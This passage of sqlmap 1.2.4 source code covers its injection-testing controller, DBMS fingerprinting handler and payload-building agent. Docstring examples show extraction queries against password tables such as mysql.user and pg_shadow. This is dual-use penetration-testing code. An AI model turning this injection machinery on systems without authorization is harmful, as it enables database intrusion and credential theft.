"ignoring %s parameter '%s'" % (paramType, parameter) logger.info(infoMsg) elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech or conf.skipStatic: check = checkDynParam(place, parameter, value) if not check: warnMsg = "%s parameter '%s' does not appear to be dynamic" % (paramType, parameter) logger.warn(warnMsg) if conf.skipStatic: infoMsg = "skipping static %s parameter '%s'" % (paramType, parameter) logger.info(infoMsg) testSqlInj = False else: infoMsg = "%s parameter '%s' is dynamic" % (paramType, parameter) logger.info(infoMsg) kb.testedParams.add(paramKey) if testSqlInj: try: if place == PLACE.COOKIE: pushValue(kb.mergeCookies) kb.mergeCookies = False check = heuristicCheckSqlInjection(place, parameter) if check != HEURISTIC_TEST.POSITIVE: if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED): infoMsg = "skipping %s parameter '%s'" % (paramType, parameter) logger.info(infoMsg) continue infoMsg = "testing for SQL injection on %s " % paramType infoMsg += "parameter '%s'" % parameter logger.info(infoMsg) injection = checkSqlInjection(place, parameter, value) proceed = not kb.endDetection injectable = False if getattr(injection, "place", None) is not None: if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE in injection.notes: kb.falsePositives.append(injection) else: injectable = True kb.injections.append(injection) # In case when user wants to end detection phase (Ctrl+C) if not proceed: break msg = "%s parameter '%s' " % (injection.place, injection.parameter) msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] " if not readInput(msg, default='N', boolean=True): proceed = False paramKey = (conf.hostname, conf.path, None, None) kb.testedParams.add(paramKey) if not injectable: warnMsg = "%s parameter '%s' does not seem to be " % (paramType, parameter) warnMsg += "injectable" logger.warn(warnMsg) finally: if place == PLACE.COOKIE: kb.mergeCookies = popValue() if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None): if kb.vainRun and not conf.multipleTargets: errMsg = "no parameter(s) found for testing in the provided data " errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')" raise SqlmapNoneDataException(errMsg) else: errMsg = "all tested parameters do not appear to be injectable." if conf.level < 5 or conf.risk < 3: errMsg += " Try to increase values for '--level'/'--risk' options " errMsg += "if you wish to perform more tests." if isinstance(conf.tech, list) and len(conf.tech) < 5: errMsg += " Rerun without providing the option '--technique'." if not conf.textOnly and kb.originalPage: percent = (100.0 * len(getFilteredPageContent(kb.originalPage)) / len(kb.originalPage)) if kb.dynamicMarkings: errMsg += " You can give it a go with the switch '--text-only' " errMsg += "if the target page has a low percentage " errMsg += "of textual content (~%.2f%% of " % percent errMsg += "page content is text)." elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone: errMsg += " Please retry with the switch '--text-only' " errMsg += "(along with --technique=BU) as this case " errMsg += "looks like a perfect candidate " errMsg += "(low textual content along with inability " errMsg += "of comparison engine to detect at least " errMsg += "one dynamic parameter)." if kb.heuristicTest == HEURISTIC_TEST.POSITIVE: errMsg += " As heuristic test turned out positive you are " errMsg += "strongly advised to continue on with the tests." if conf.string: errMsg += " Also, you can try to rerun by providing a " errMsg += "valid value for option '--string' as perhaps the string you " errMsg += "have chosen does not match " errMsg += "exclusively True responses." elif conf.regexp: errMsg += " Also, you can try to rerun by providing a " errMsg += "valid value for option '--regexp' as perhaps the regular " errMsg += "expression that you have chosen " errMsg += "does not match exclusively True responses." if not conf.tamper: errMsg += " If you suspect that there is some kind of protection mechanism " errMsg += "involved (e.g. WAF) maybe you could try to use " errMsg += "option '--tamper' (e.g. '--tamper=space2comment')" raise SqlmapNotVulnerableException(errMsg.rstrip('.')) else: # Flush the flag kb.testMode = False _saveToResultsFile() _saveToHashDB() _showInjections() _selectInjection() if kb.injection.place is not None and kb.injection.parameter is not None: if conf.multipleTargets: message = "do you want to exploit this SQL injection? [Y/n] " condition = readInput(message, default='Y', boolean=True) else: condition = True if condition: action() except KeyboardInterrupt: if conf.multipleTargets: warnMsg = "user aborted in multiple target mode" logger.warn(warnMsg) message = "do you want to skip to the next target in list? [Y/n/q]" choice = readInput(message, default='Y').upper() if choice == 'N': return False elif choice == 'Q': raise SqlmapUserQuitException else: raise except SqlmapSkipTargetException: pass except SqlmapUserQuitException: raise except SqlmapSilentQuitException: raise except SqlmapBaseException, ex: errMsg = getSafeExString(ex) if conf.multipleTargets: _saveToResultsFile() errMsg += ", skipping to the next %s" % ("form" if conf.forms else "URL") logger.error(errMsg.lstrip(", ")) else: logger.critical(errMsg) return False finally: showHttpErrorCodes() if kb.maxConnectionsFlag: warnMsg = "it appears that the target " warnMsg += "has a maximum connections " warnMsg += "constraint" logger.warn(warnMsg) if kb.dataOutputFlag and not conf.multipleTargets: logger.info("fetched data logged to text files under '%s'" % conf.outputPath) if conf.multipleTargets: if conf.resultsFilename: infoMsg = "you can find results of scanning in multiple targets " infoMsg += "mode inside the CSV file '%s'" % conf.resultsFilename logger.info(infoMsg) return True sqlmap-1.2.4/lib/controller/handler.py000066400000000000000000000111541326012263700177370ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.data import conf from lib.core.data import kb from lib.core.dicts import DBMS_DICT from lib.core.enums import DBMS from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MYSQL_ALIASES from lib.core.settings import ORACLE_ALIASES from lib.core.settings import PGSQL_ALIASES from lib.core.settings import SQLITE_ALIASES from lib.core.settings import ACCESS_ALIASES from lib.core.settings import FIREBIRD_ALIASES from lib.core.settings import MAXDB_ALIASES from lib.core.settings import SYBASE_ALIASES from lib.core.settings import DB2_ALIASES from lib.core.settings import HSQLDB_ALIASES from lib.core.settings import INFORMIX_ALIASES from lib.utils.sqlalchemy import SQLAlchemy from plugins.dbms.mssqlserver import MSSQLServerMap from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn from plugins.dbms.mysql import MySQLMap from plugins.dbms.mysql.connector import Connector as MySQLConn from plugins.dbms.oracle import OracleMap from plugins.dbms.oracle.connector import Connector as OracleConn from plugins.dbms.postgresql import PostgreSQLMap from plugins.dbms.postgresql.connector import Connector as PostgreSQLConn from plugins.dbms.sqlite import SQLiteMap from plugins.dbms.sqlite.connector import Connector as SQLiteConn from plugins.dbms.access import AccessMap from plugins.dbms.access.connector import Connector as AccessConn from plugins.dbms.firebird import FirebirdMap from plugins.dbms.firebird.connector import Connector as FirebirdConn from plugins.dbms.maxdb import MaxDBMap from plugins.dbms.maxdb.connector import Connector as MaxDBConn from plugins.dbms.sybase import SybaseMap from plugins.dbms.sybase.connector import Connector as SybaseConn from plugins.dbms.db2 import DB2Map from plugins.dbms.db2.connector import Connector as DB2Conn from plugins.dbms.hsqldb import HSQLDBMap from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn from plugins.dbms.informix import InformixMap from plugins.dbms.informix.connector import Connector as InformixConn def setHandler(): """ Detect which is the target web application back-end database management system. """ items = [ (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, MySQLConn), (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, OracleConn), (DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn), (DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn), (DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, SQLiteConn), (DBMS.ACCESS, ACCESS_ALIASES, AccessMap, AccessConn), (DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, FirebirdConn), (DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, MaxDBConn), (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn), (DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn), (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn), (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn), ] _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else None for _ in items) if _: items.remove(_) items.insert(0, _) for dbms, aliases, Handler, Connector in items: if conf.forceDbms: if conf.forceDbms.lower() not in aliases: continue else: kb.dbms = conf.dbms = conf.forceDbms = dbms if kb.dbmsFilter: if dbms not in kb.dbmsFilter: continue handler = Handler() conf.dbmsConnector = Connector() if conf.direct: dialect = DBMS_DICT[dbms][3] if dialect: sqlalchemy = SQLAlchemy(dialect=dialect) sqlalchemy.connect() if sqlalchemy.connector: conf.dbmsConnector = sqlalchemy else: try: conf.dbmsConnector.connect() except NameError: pass else: conf.dbmsConnector.connect() if conf.forceDbms == dbms or handler.checkDbms(): if kb.resolutionDbms: conf.dbmsHandler = max(_ for _ in items if _[0] == kb.resolutionDbms)[2]() else: conf.dbmsHandler = handler conf.dbmsHandler._dbms = dbms break else: conf.dbmsConnector = None # At this point back-end DBMS is correctly fingerprinted, no need # to enforce it anymore Backend.flushForcedDbms() sqlmap-1.2.4/lib/core/000077500000000000000000000000001326012263700145135ustar00rootroot00000000000000sqlmap-1.2.4/lib/core/__init__.py000066400000000000000000000002221326012263700166200ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ pass sqlmap-1.2.4/lib/core/agent.py000066400000000000000000001430171326012263700161710ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re from lib.core.common import Backend from lib.core.common import extractRegexResult from lib.core.common import getSQLSnippet from lib.core.common import getUnicode from lib.core.common import isDBMSVersionAtLeast from lib.core.common import isNumber from lib.core.common import isTechniqueAvailable from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import safeStringFormat from lib.core.common import singleTimeWarnMessage from lib.core.common import splitFields from lib.core.common import unArrayizeValue from lib.core.common import urlencode from lib.core.common import zeroDepthSearch from lib.core.data import conf from lib.core.data import kb from lib.core.data import queries from lib.core.dicts import DUMP_DATA_PREPROCESS from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import DBMS from lib.core.enums import HTTP_HEADER from lib.core.enums import PAYLOAD from lib.core.enums import PLACE from lib.core.enums import POST_HINT from lib.core.exception import SqlmapNoneDataException from lib.core.settings import BOUNDARY_BACKSLASH_MARKER from lib.core.settings import BOUNDED_INJECTION_MARKER from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import GENERIC_SQL_COMMENT from lib.core.settings import INFERENCE_MARKER from lib.core.settings import NULL from lib.core.settings import PAYLOAD_DELIMITER from lib.core.settings import REPLACEMENT_MARKER from lib.core.settings import SLEEP_TIME_MARKER from lib.core.unescaper import unescaper class Agent(object): """ This class defines the SQL agent methods. """ def payloadDirect(self, query): query = self.cleanupPayload(query) if query.upper().startswith("AND "): query = re.sub(r"(?i)AND ", "SELECT ", query, 1) elif query.upper().startswith(" UNION ALL "): query = re.sub(r"(?i) UNION ALL ", "", query, 1) elif query.startswith("; "): query = query.replace("; ", "", 1) if Backend.getIdentifiedDbms() in (DBMS.ORACLE,): # non-standard object(s) make problems to a database connector while returned (e.g. XMLTYPE) _, _, _, _, _, _, fieldsToCastStr, _ = self.getFields(query) for field in fieldsToCastStr.split(','): query = query.replace(field, self.nullAndCastField(field)) if kb.tamperFunctions: for function in kb.tamperFunctions: query = function(payload=query) return query def payload(self, place=None, parameter=None, value=None, newValue=None, where=None): """ This method replaces the affected parameter with the SQL injection statement to request """ if conf.direct: return self.payloadDirect(newValue) retVal = "" if kb.forceWhere: where = kb.forceWhere elif where is None and isTechniqueAvailable(kb.technique): where = kb.injection.data[kb.technique].where if kb.injection.place is not None: place = kb.injection.place if kb.injection.parameter is not None: parameter = kb.injection.parameter paramString = conf.parameters[place] paramDict = conf.paramDict[place] origValue = getUnicode(paramDict[parameter]) newValue = getUnicode(newValue) if newValue else newValue if place == PLACE.URI or BOUNDED_INJECTION_MARKER in origValue: paramString = origValue if place == PLACE.URI: origValue = origValue.split(kb.customInjectionMark)[0] else: origValue = filter(None, (re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in (r"\w+\Z", r"[^\"'><]+\Z", r"[^ ]+\Z")))[0].group(0) origValue = origValue[origValue.rfind('/') + 1:] for char in ('?', '=', ':', ','): if char in origValue: origValue = origValue[origValue.rfind(char) + 1:] elif place == PLACE.CUSTOM_POST: paramString = origValue origValue = origValue.split(kb.customInjectionMark)[0] if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML): origValue = origValue.split('>')[-1] elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): origValue = extractRegexResult(r"(?s)\"\s*:\s*(?P\d+\Z)", origValue) or extractRegexResult(r'(?s)[\s:]*(?P[^"\[,]+\Z)', origValue) else: _ = extractRegexResult(r"(?s)(?P[^\s<>{}();'\"&]+\Z)", origValue) or "" origValue = _.split('=', 1)[1] if '=' in _ else "" elif place == PLACE.CUSTOM_HEADER: paramString = origValue origValue = origValue[origValue.find(',') + 1:] origValue = origValue.split(kb.customInjectionMark)[0] match = re.search(r"([^;]+)=(?P[^;]*);?\Z", origValue) if match: origValue = match.group("value") elif ',' in paramString: header = paramString.split(',')[0] if header.upper() == HTTP_HEADER.AUTHORIZATION.upper(): origValue = origValue.split(' ')[-1].split(':')[-1] origValue = origValue or "" if value is None: if where == PAYLOAD.WHERE.ORIGINAL: value = origValue elif where == PAYLOAD.WHERE.NEGATIVE: if conf.invalidLogical: match = re.search(r"\A[^ ]+", newValue) newValue = newValue[len(match.group() if match else ""):] _ = randomInt(2) value = "%s%s AND %s=%s" % (origValue, match.group() if match else "", _, _ + 1) elif conf.invalidBignum: value = randomInt(6) elif conf.invalidString: value = randomStr(6) else: if newValue.startswith("-"): value = "" else: value = "-%s" % randomInt() elif where == PAYLOAD.WHERE.REPLACE: value = "" else: value = origValue newValue = "%s%s" % (value, newValue) newValue = self.cleanupPayload(newValue, origValue) if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): _ = "%s%s" % (origValue, kb.customInjectionMark) if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and not '"%s"' % _ in paramString: newValue = '"%s"' % newValue elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and not "'%s'" % _ in paramString: newValue = "'%s'" % newValue newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER) retVal = paramString.replace(_, self.addPayloadDelimiters(newValue)) retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark) elif BOUNDED_INJECTION_MARKER in paramDict[parameter]: retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue)) elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST): retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue)) else: def _(pattern, repl, string): retVal = string match = None for match in re.finditer(pattern, string): pass if match: while True: _ = re.search(r"\\g<([^>]+)>", repl) if _: try: repl = repl.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1))) except IndexError: break else: break retVal = string[:match.start()] + repl + string[match.end():] return retVal if origValue: regex = r"(\A|\b)%s=%s%s" % (re.escape(parameter), re.escape(origValue), r"(\Z|\b)" if origValue[-1].isalnum() else "") retVal = _(regex, "%s=%s" % (parameter, self.addPayloadDelimiters(newValue)), paramString) else: retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), "%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue)), paramString) if retVal == paramString and urlencode(parameter) != parameter: retVal = _(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue)), paramString) if retVal: retVal = retVal.replace(BOUNDARY_BACKSLASH_MARKER, '\\') return retVal def prefixQuery(self, expression, prefix=None, where=None, clause=None): """ This method defines how the input expression has to be escaped to perform the injection depending on the injection type identified as valid """ if conf.direct: return self.payloadDirect(expression) if expression is None: return None expression = self.cleanupPayload(expression) expression = unescaper.escape(expression) query = None if where is None and kb.technique and kb.technique in kb.injection.data: where = kb.injection.data[kb.technique].where # If we are replacing () the parameter original value with # our payload do not prepend with the prefix if where == PAYLOAD.WHERE.REPLACE: query = "" # If the technique is stacked queries () do not put a space # after the prefix or it is in GROUP BY / ORDER BY () elif kb.technique == PAYLOAD.TECHNIQUE.STACKED: query = kb.injection.prefix elif kb.injection.clause == [2, 3] or kb.injection.clause == [2] or kb.injection.clause == [3]: query = kb.injection.prefix elif clause == [2, 3] or clause == [2] or clause == [3]: query = prefix # In any other case prepend with the full prefix else: query = kb.injection.prefix or prefix or "" if not (expression and expression[0] == ';') and not (query and query[-1] in ('(', ')') and expression and expression[0] in ('(', ')')) and not (query and query[-1] == '('): query += " " query = "%s%s" % ((query or "").replace('\\', BOUNDARY_BACKSLASH_MARKER), expression) return query def suffixQuery(self, expression, comment=None, suffix=None, where=None): """ This method appends the DBMS comment to the SQL injection request """ if conf.direct: return self.payloadDirect(expression) if expression is None: return None expression = self.cleanupPayload(expression) # Take default values if None suffix = kb.injection.suffix if kb.injection and suffix is None else suffix if kb.technique and kb.technique in kb.injection.data: where = kb.injection.data[kb.technique].where if where is None else where comment = kb.injection.data[kb.technique].comment if comment is None else comment if Backend.getIdentifiedDbms() == DBMS.ACCESS and any((comment or "").startswith(_) for _ in ("--", "[GENERIC_SQL_COMMENT]")): comment = queries[DBMS.ACCESS].comment.query if comment is not None: expression += comment # If we are replacing () the parameter original value with # our payload do not append the suffix if where == PAYLOAD.WHERE.REPLACE and not conf.suffix: pass elif suffix and not comment: expression += suffix.replace('\\', BOUNDARY_BACKSLASH_MARKER) return re.sub(r";\W*;", ";", expression) def cleanupPayload(self, payload, origValue=None): if payload is None: return replacements = ( ("[DELIMITER_START]", kb.chars.start), ("[DELIMITER_STOP]", kb.chars.stop), ("[AT_REPLACE]", kb.chars.at), ("[SPACE_REPLACE]", kb.chars.space), ("[DOLLAR_REPLACE]", kb.chars.dollar), ("[HASH_REPLACE]", kb.chars.hash_), ("[GENERIC_SQL_COMMENT]", GENERIC_SQL_COMMENT) ) payload = reduce(lambda x, y: x.replace(y[0], y[1]), replacements, payload) for _ in set(re.findall(r"(?i)\[RANDNUM(?:\d+)?\]", payload)): payload = payload.replace(_, str(randomInt())) for _ in set(re.findall(r"(?i)\[RANDSTR(?:\d+)?\]", payload)): payload = payload.replace(_, randomStr()) if origValue is not None and "[ORIGVALUE]" in payload: origValue = getUnicode(origValue) payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue)) if INFERENCE_MARKER in payload: if Backend.getIdentifiedDbms() is not None: inference = queries[Backend.getIdentifiedDbms()].inference if "dbms_version" in inference: if isDBMSVersionAtLeast(inference.dbms_version): inferenceQuery = inference.query else: inferenceQuery = inference.query2 else: inferenceQuery = inference.query payload = payload.replace(INFERENCE_MARKER, inferenceQuery) elif not kb.testMode: errMsg = "invalid usage of inference payload without " errMsg += "knowledge of underlying DBMS" raise SqlmapNoneDataException(errMsg) return payload def adjustLateValues(self, payload): """ Returns payload with a replaced late tags (e.g. SLEEPTIME) """ if payload: payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec)) for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)): payload = payload.replace(_, str(randomInt())) for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)): payload = payload.replace(_, randomStr()) return payload def getComment(self, request): """ Returns comment form for the given request """ return request.comment if "comment" in request else "" def hexConvertField(self, field): """ Returns hex converted field string """ rootQuery = queries[Backend.getIdentifiedDbms()] hexField = field if "hex" in rootQuery: hexField = rootQuery.hex.query % field else: warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms() singleTimeWarnMessage(warnMsg) return hexField def nullAndCastField(self, field): """ Take in input a field string and return its processed nulled and casted field string. Examples: MySQL input: VERSION() MySQL output: IFNULL(CAST(VERSION() AS CHAR(10000)), ' ') MySQL scope: VERSION() PostgreSQL input: VERSION() PostgreSQL output: COALESCE(CAST(VERSION() AS CHARACTER(10000)), ' ') PostgreSQL scope: VERSION() Oracle input: banner Oracle output: NVL(CAST(banner AS VARCHAR(4000)), ' ') Oracle scope: SELECT banner FROM v$version WHERE ROWNUM=1 Microsoft SQL Server input: @@VERSION Microsoft SQL Server output: ISNULL(CAST(@@VERSION AS VARCHAR(8000)), ' ') Microsoft SQL Server scope: @@VERSION @param field: field string to be processed @type field: C{str} @return: field string nulled and casted @rtype: C{str} """ nulledCastedField = field if field: rootQuery = queries[Backend.getIdentifiedDbms()] if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast: nulledCastedField = field else: if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')): nulledCastedField = rootQuery.cast.query % field if Backend.getIdentifiedDbms() in (DBMS.ACCESS,): nulledCastedField = rootQuery.isnull.query % (nulledCastedField, nulledCastedField) else: nulledCastedField = rootQuery.isnull.query % nulledCastedField kb.binaryField = conf.binaryFields and field in conf.binaryFields.split(',') if conf.hexConvert or kb.binaryField: nulledCastedField = self.hexConvertField(nulledCastedField) return nulledCastedField def nullCastConcatFields(self, fields): """ Take in input a sequence of fields string and return its processed nulled, casted and concatenated fields string. Examples: MySQL input: user,password MySQL output: IFNULL(CAST(user AS CHAR(10000)), ' '),'UWciUe',IFNULL(CAST(password AS CHAR(10000)), ' ') MySQL scope: SELECT user, password FROM mysql.user PostgreSQL input: usename,passwd PostgreSQL output: COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'xRBcZW'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ') PostgreSQL scope: SELECT usename, passwd FROM pg_shadow Oracle input: COLUMN_NAME,DATA_TYPE Oracle output: NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'UUlHUa'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ') Oracle scope: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' Microsoft SQL Server input: name,master.dbo.fn_varbintohexstr(password) Microsoft SQL Server output: ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'nTBdow'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ') Microsoft SQL Server scope: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins @param fields: fields string to be processed @type fields: C{str} @return: fields string nulled, casted and concatened @rtype: C{str} """ if not Backend.getIdentifiedDbms(): return fields if fields.startswith("(CASE") or fields.startswith("(IIF") or fields.startswith("SUBSTR") or fields.startswith("MID(") or re.search(r"\A'[^']+'\Z", fields): nulledCastedConcatFields = fields else: fieldsSplitted = splitFields(fields) dbmsDelimiter = queries[Backend.getIdentifiedDbms()].delimiter.query nulledCastedFields = [] for field in fieldsSplitted: nulledCastedFields.append(self.nullAndCastField(field)) delimiterStr = "%s'%s'%s" % (dbmsDelimiter, kb.chars.delimiter, dbmsDelimiter) nulledCastedConcatFields = delimiterStr.join(field for field in nulledCastedFields) return nulledCastedConcatFields def getFields(self, query): """ Take in input a query string and return its fields (columns) and more details. Example: Input: SELECT user, password FROM mysql.user Output: user,password @param query: query to be processed @type query: C{str} @return: query fields (columns) and more details @rtype: C{str} """ prefixRegex = r"(?:\s+(?:FIRST|SKIP|LIMIT(?: \d+)?)\s+\d+)*" fieldsSelectTop = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I) fieldsSelectRownum = re.search(r"\ASELECT\s+([^()]+?),\s*ROWNUM AS LIMIT FROM", query, re.I) fieldsSelectDistinct = re.search(r"\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I) fieldsSelectCase = re.search(r"\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I) fieldsSelectFrom = re.search(r"\ASELECT%s\s+(.+?)\s+FROM " % prefixRegex, query, re.I) fieldsExists = re.search(r"EXISTS\(([^)]*)\)\Z", query, re.I) fieldsSelect = re.search(r"\ASELECT%s\s+(.*)" % prefixRegex, query, re.I) fieldsSubstr = re.search(r"\A(SUBSTR|MID\()", query, re.I) fieldsMinMaxstr = re.search(r"(?:MIN|MAX)\(([^\(\)]+)\)", query, re.I) fieldsNoSelect = query _ = zeroDepthSearch(query, " FROM ") if not _: fieldsSelectFrom = None fieldsToCastStr = fieldsNoSelect if fieldsSubstr: fieldsToCastStr = query elif fieldsMinMaxstr: fieldsToCastStr = fieldsMinMaxstr.group(1) elif fieldsExists: if fieldsSelect: fieldsToCastStr = fieldsSelect.group(1) elif fieldsSelectTop: fieldsToCastStr = fieldsSelectTop.group(1) elif fieldsSelectRownum: fieldsToCastStr = fieldsSelectRownum.group(1) elif fieldsSelectDistinct: if Backend.getDbms() in (DBMS.HSQLDB,): fieldsToCastStr = fieldsNoSelect else: fieldsToCastStr = fieldsSelectDistinct.group(1) elif fieldsSelectCase: fieldsToCastStr = fieldsSelectCase.group(1) elif fieldsSelectFrom: fieldsToCastStr = query[:unArrayizeValue(_)] if _ else query fieldsToCastStr = re.sub(r"\ASELECT%s\s+" % prefixRegex, "", fieldsToCastStr) elif fieldsSelect: fieldsToCastStr = fieldsSelect.group(1) fieldsToCastStr = fieldsToCastStr or "" # Function if re.search("\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr: fieldsToCastList = [fieldsToCastStr] else: fieldsToCastList = splitFields(fieldsToCastStr) return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr, fieldsExists def simpleConcatenate(self, first, second): rootQuery = queries[Backend.getIdentifiedDbms()] return rootQuery.concatenate.query % (first, second) def preprocessField(self, table, field): """ Does a field preprocessing (if needed) based on its type (e.g. image to text) Note: used primarily in dumping of custom tables """ retVal = field if conf.db and table and conf.db in table: table = table.split(conf.db)[-1].strip('.') try: columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(table, True)] for name, type_ in columns.items(): if type_ and type_.upper() in DUMP_DATA_PREPROCESS.get(Backend.getDbms(), {}) and name == field: retVal = DUMP_DATA_PREPROCESS[Backend.getDbms()][type_.upper()] % name break except KeyError: pass return retVal def concatQuery(self, query, unpack=True): """ Take in input a query string and return its processed nulled, casted and concatenated query string. Examples: MySQL input: SELECT user, password FROM mysql.user MySQL output: CONCAT('mMvPxc',IFNULL(CAST(user AS CHAR(10000)), ' '),'nXlgnR',IFNULL(CAST(password AS CHAR(10000)), ' '),'YnCzLl') FROM mysql.user PostgreSQL input: SELECT usename, passwd FROM pg_shadow PostgreSQL output: 'HsYIBS'||COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'KTBfZp'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')||'LkhmuP' FROM pg_shadow Oracle input: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS' Oracle output: 'GdBRAo'||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'czEHOf'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')||'JVlYgS' FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS' Microsoft SQL Server input: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins Microsoft SQL Server output: 'QQMQJO'+ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'kAtlqH'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')+'lpEqoi' FROM master..sysxlogins @param query: query string to be processed @type query: C{str} @return: query string nulled, casted and concatenated @rtype: C{str} """ if unpack: concatenatedQuery = "" query = query.replace(", ", ',') fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists = self.getFields(query) castedFields = self.nullCastConcatFields(fieldsToCastStr) concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1) else: return query if Backend.isDbms(DBMS.MYSQL): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1) concatenatedQuery += ",'%s')" % kb.chars.stop elif fieldsSelectCase: concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1) concatenatedQuery += ",'%s')" % kb.chars.stop elif fieldsSelectFrom: _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM ")) concatenatedQuery = "%s,'%s')%s" % (concatenatedQuery[:_].replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1), kb.chars.stop, concatenatedQuery[_:]) elif fieldsSelect: concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1) concatenatedQuery += ",'%s')" % kb.chars.stop elif fieldsNoSelect: concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop) elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += 